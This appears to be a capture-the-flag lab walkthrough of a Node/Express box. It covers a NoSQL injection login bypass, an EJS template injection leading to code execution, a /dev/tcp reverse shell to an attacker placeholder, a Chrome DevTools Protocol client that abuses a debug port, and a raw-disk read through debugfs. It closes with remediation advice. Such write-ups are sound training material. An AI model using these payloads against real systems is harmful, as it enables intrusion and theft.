- Login bypass via NoSQL injection:
{"$ne":""}in Express's JSON body. - SSTI in EJS on
/staff/preview:<%= 7*7 %>returns49. - RCE bypassing
requireviaglobal.process.mainModule.require. - Privesc: pivot to
pipelinesvcthroughnode --inspect(CDP on:9229). - Root flag from the raw disk:
diskgroup +debugfs, nouid=0.
Swap <target> for the box IP, <attacker> for your VPN IP (ip a show tun0) and <cookie> for the connect.sid you get at login. The listener runs on your machine; the CDP client in step [04] is written on the target. On your box: curl, ffuf, netcat. On the target: Node — if it's ≥ 22 there's a global WebSocket, otherwise you need the ws module (see [04]).
[01] Recon: two ports and a talkative 403
Two ports, no surprises. For now. A full nmap finds only SSH and a Node.js/Express app over HTTP: "Byte Lotus — Poolside".
nmap -sC -sV -p- -T4 <target> # 22/tcp open ssh # 80/tcp open http Node.js (Express) — "Byte Lotus — Poolside"
nmap -sC -sV -p- -T4 <target> # 22/tcp open ssh # 80/tcp open http Node.js (Express) — "Byte Lotus — Poolside"
I fuzz for paths. I'm not after secret files: I'm mapping the surface, what exists and what's protected.
ffuf -u http://<target>/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .js,.json,.txt -mc 200,301,302,403 -t 50 # /login 200 # /logout 302 # /staff 403 # esiste, ma non mi fanno entrare
ffuf -u http://<target>/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .js,.json,.txt -mc 200,301,302,403 -t 50 # /login 200 # /logout 302 # /staff 403 # it exists, but I'm not allowed in
That 403 on /staff is a signpost, not a wall: the page exists, so somewhere there's an auth gate to get past. The login becomes the target.
A 403 instead of a 404 confirms the resource exists: enumeration learns more from status codes than from page content.
[02] Login bypass via NoSQL injection
The login accepts JSON, it's Express. Instead of guessing credentials I change the shape of the input: instead of strings I pass MongoDB query operators.
curl -s -i -X POST http://<target>/login \ -H "Content-Type: application/json" \ -d '{"username":{"$ne":""},"password":{"$ne":""}}' # HTTP/1.1 302 Found # Set-Cookie: connect.sid=s%3A...
curl -s -i -X POST http://<target>/login \ -H "Content-Type: application/json" \ -d '{"username":{"$ne":""},"password":{"$ne":""}}' # HTTP/1.1 302 Found # Set-Cookie: connect.sid=s%3A...
$ne means "not equal". The query becomes "find me a user whose username isn't empty and whose password isn't empty": that's everyone. The server hands me a valid session without my knowing a single credential. The wallet that kept dancing was exactly this: anyone could log in as anyone.
That Set-Cookie is my key to /staff: from here on everything rides on it. I copy the connect.sid value from the 302 response header and reuse it as a Cookie header on the next requests — or I let curl keep a cookie jar for me, so I never touch it by hand.
# opzione A: salvo la sessione in un barattolo alla login... curl -s -c cookies.txt -X POST http://<target>/login \ -H "Content-Type: application/json" \ -d '{"username":{"$ne":""},"password":{"$ne":""}}' # ...e la riuso con -b nelle richieste a /staff curl -s -b cookies.txt http://<target>/staff # opzione B: estraggo il valore a mano e lo metto al posto di <cookie> # Set-Cookie: connect.sid=s%3A... -> <cookie> = s%3A...
# option A: save the session into a jar at login... curl -s -c cookies.txt -X POST http://<target>/login \ -H "Content-Type: application/json" \ -d '{"username":{"$ne":""},"password":{"$ne":""}}' # ...and reuse it with -b on the /staff requests curl -s -b cookies.txt http://<target>/staff # option B: grab the value by hand and drop it in place of <cookie> # Set-Cookie: connect.sid=s%3A... -> <cookie> = s%3A...
Why does it work? express.json() deserializes nested objects, and the code passes that object straight into the filter, something like User.findOne({ username, password }). If password is the expected string it's a comparison; if it's a $ne object it becomes an operator. The fix isn't "ban $ne", it's to coerce types: force String(...) or run mongo-sanitize before the input touches the DB.
Trusting the shape of the JSON. A body like {"$gt":""} is indistinguishable from a string until you coerce it yourself.
[03] EJS SSTI: from template to shell
With the cookie, /staff opens: it's the "Cabana Desk" console, with a form to customize the booking-confirmation message. The message is an EJS template, and it lets me write it. But first I read the form's HTML: where to POST and what the field is called.
curl -s -b cookies.txt http://<target>/staff | grep -iE 'form|action|name=' # <form action="/staff/preview" method="POST"> # <textarea name="template"></textarea>
curl -s -b cookies.txt http://<target>/staff | grep -iE 'form|action|name=' # <form action="/staff/preview" method="POST"> # <textarea name="template"></textarea>
There's the action and the name: POST to /staff/preview, field template. Now I test the obvious.
curl -s -X POST http://<target>/staff/preview \ -H "Cookie: connect.sid=<cookie>" \ --data-urlencode 'template=<%= 7*7 %>' # 49 <- il server calcola, non stampa
curl -s -X POST http://<target>/staff/preview \ -H "Cookie: connect.sid=<cookie>" \ --data-urlencode 'template=<%= 7*7 %>' # 49 <- the server computes, it doesn't print
49, not 7*7: the server executes my template instead of displaying it. SSTI confirmed. Next step is escaping the template into Node.
Direct require is blocked ("require is not defined"), but EJS runs in Node's global scope and global.process is always there. Through process.mainModule.require I recover require, and with it child_process.
curl -s -X POST http://<target>/staff/preview \ -H "Cookie: connect.sid=<cookie>" \ --data-urlencode "template=<%= global.process.mainModule.require('child_process').execSync('id').toString() %>" # uid=996(poolside) gid=996(poolside) groups=996(poolside)
curl -s -X POST http://<target>/staff/preview \ -H "Cookie: connect.sid=<cookie>" \ --data-urlencode "template=<%= global.process.mainModule.require('child_process').execSync('id').toString() %>" # uid=996(poolside) gid=996(poolside) groups=996(poolside)
RCE as poolside. From here a shell is a formality: I set up a listener and swap id for a reverse shell, same --data-urlencode, same cookie.
# terminale 1 — il mio box: listener in ascolto nc -lvnp 4444 # terminale 2 — il mio box: stesso endpoint /staff/preview, payload = reverse shell curl -s -X POST http://<target>/staff/preview \ -H "Cookie: connect.sid=<cookie>" \ --data-urlencode "template=<%= global.process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >& /dev/tcp/<attacker>/4444 0>&1'\").toString() %>"
# terminal 1 — my box: listener up nc -lvnp 4444 # terminal 2 — my box: same /staff/preview endpoint, payload = reverse shell curl -s -X POST http://<target>/staff/preview \ -H "Cookie: connect.sid=<cookie>" \ --data-urlencode "template=<%= global.process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >& /dev/tcp/<attacker>/4444 0>&1'\").toString() %>"
The curl just hangs: that is expected — execSync does not return while the shell is alive, the output lands in the listener terminal. Connection back: a shell as poolside. The user flag is a cat away.
find / -name user.txt 2>/dev/null cat /home/poolside/user.txt # THM{████████████████████}
find / -name user.txt 2>/dev/null cat /home/poolside/user.txt # THM{████████████████████}
Blocking require is not a sandbox. As long as the template can see global (or this, or constructor) there's always a path to process. Sandboxing user templates is a war you usually lose: better not to let users write them at all.
[04] From poolside to root: Node --inspect and the disk group
sudo -l wants a password I don't have: dead end. So I look at what's running on the box, and there it is, someone else's mistake.
sudo -l # senza tty: «no tty present», comunque vicolo cieco ps aux | grep -i node # pipelin+ ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
sudo -l # no tty: "no tty present", dead end anyway ps aux | grep -i node # pipelin+ ... /usr/bin/node --inspect=127.0.0.1:9229 processor.js
--inspect opens the Chrome DevTools Protocol: anyone who can reach that port can run arbitrary JavaScript inside that process, require('child_process') included. It's bound to 127.0.0.1, but I already have a shell on the box: localhost is not a security boundary.
curl -s http://127.0.0.1:9229/json/list # "webSocketDebuggerUrl": "ws://127.0.0.1:9229/<uuid>"
curl -s http://127.0.0.1:9229/json/list # "webSocketDebuggerUrl": "ws://127.0.0.1:9229/<uuid>"
I write a small Node WebSocket client: it reads the webSocketDebuggerUrl itself, opens the connection, sends a Runtime.evaluate command and prints the result. It's just protocol, a handshake and some JSON. Node 22+ already exposes WebSocket as a global; on older versions you need the ws module in the same folder as the script (cd /tmp, then npm i ws). On an offline box I reuse the node_modules already present on the target: NODE_PATH=/path/to/app/node_modules node /tmp/cdp.js "id". The debugger runs in the context of pipelinesvc.
# scrivo il client CDP sul box (Node >=22 ha WebSocket globale; # altrimenti nella stessa cartella dello script: cd /tmp; npm i ws) cat > /tmp/cdp.js <<'EOF' const cp = require('child_process'); const url = cp.execSync("curl -s http://127.0.0.1:9229/json/list") .toString().match(/ws:\/\/[^"]+/)[0]; const WS = global.WebSocket || require('ws'); const ws = new WS(url); const cmd = process.argv[2]; ws.onopen = () => ws.send(JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: "require('child_process').execSync(" + JSON.stringify(cmd) + ").toString()", includeCommandLineAPI: true } })); ws.onmessage = (m) => { const r = JSON.parse(m.data); console.log(r.result && r.result.result ? r.result.result.value : m.data); process.exit(0); }; EOF
# write the CDP client on the box (Node >=22 ships a global WebSocket; # otherwise in the same folder as the script: cd /tmp; npm i ws) cat > /tmp/cdp.js <<'EOF' const cp = require('child_process'); const url = cp.execSync("curl -s http://127.0.0.1:9229/json/list") .toString().match(/ws:\/\/[^"]+/)[0]; const WS = global.WebSocket || require('ws'); const ws = new WS(url); const cmd = process.argv[2]; ws.onopen = () => ws.send(JSON.stringify({ id: 1, method: 'Runtime.evaluate', params: { expression: "require('child_process').execSync(" + JSON.stringify(cmd) + ").toString()", includeCommandLineAPI: true } })); ws.onmessage = (m) => { const r = JSON.parse(m.data); console.log(r.result && r.result.result ? r.result.result.value : m.data); process.exit(0); }; EOF
node /tmp/cdp.js "id" # uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
node /tmp/cdp.js "id" # uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
Pivot from poolside to pipelinesvc without touching its password. And pipelinesvc is in the disk group: at this point the game is already decided.
The disk group grants read access to raw block devices, and that bypasses filesystem permissions entirely: I read the bytes of the disk, not the files. No need to be root, just debugfs on the right device. And I route every command through the same /tmp/cdp.js, so it runs as pipelinesvc.
node /tmp/cdp.js "findmnt -no SOURCE /" # /dev/nvme0n1p1 <- device di root (sul tuo box può essere sda1, vda1...) # riuso quel device qui; se «debugfs: not found» chiama /usr/sbin/debugfs node /tmp/cdp.js "debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1" # THM{████████████████████}
node /tmp/cdp.js "findmnt -no SOURCE /" # /dev/nvme0n1p1 <- root device (on your box it may be sda1, vda1...) # reuse that device here; if you get "debugfs: not found", call /usr/sbin/debugfs node /tmp/cdp.js "debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2>&1" # THM{████████████████████}
Root flag read without ever becoming root. A methodical note: "root flag" does not imply "uid=0". Here the chain ends with a low-level read, and defenders should model the threat around the data, not just the user touching it.
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
The chain breaks at every link, and one is enough. 1) Coerce input types before the DB (String() or mongo-sanitize): no $ne operators. 2) Don't let users write templates: EJS with global.process is RCE, not "customization". 3) Never --inspect in production, not even on localhost: any foothold turns into execution as the process's user. 4) Groups matter as much as users: disk is effectively root. Defense in depth means none of these, alone, compromises you.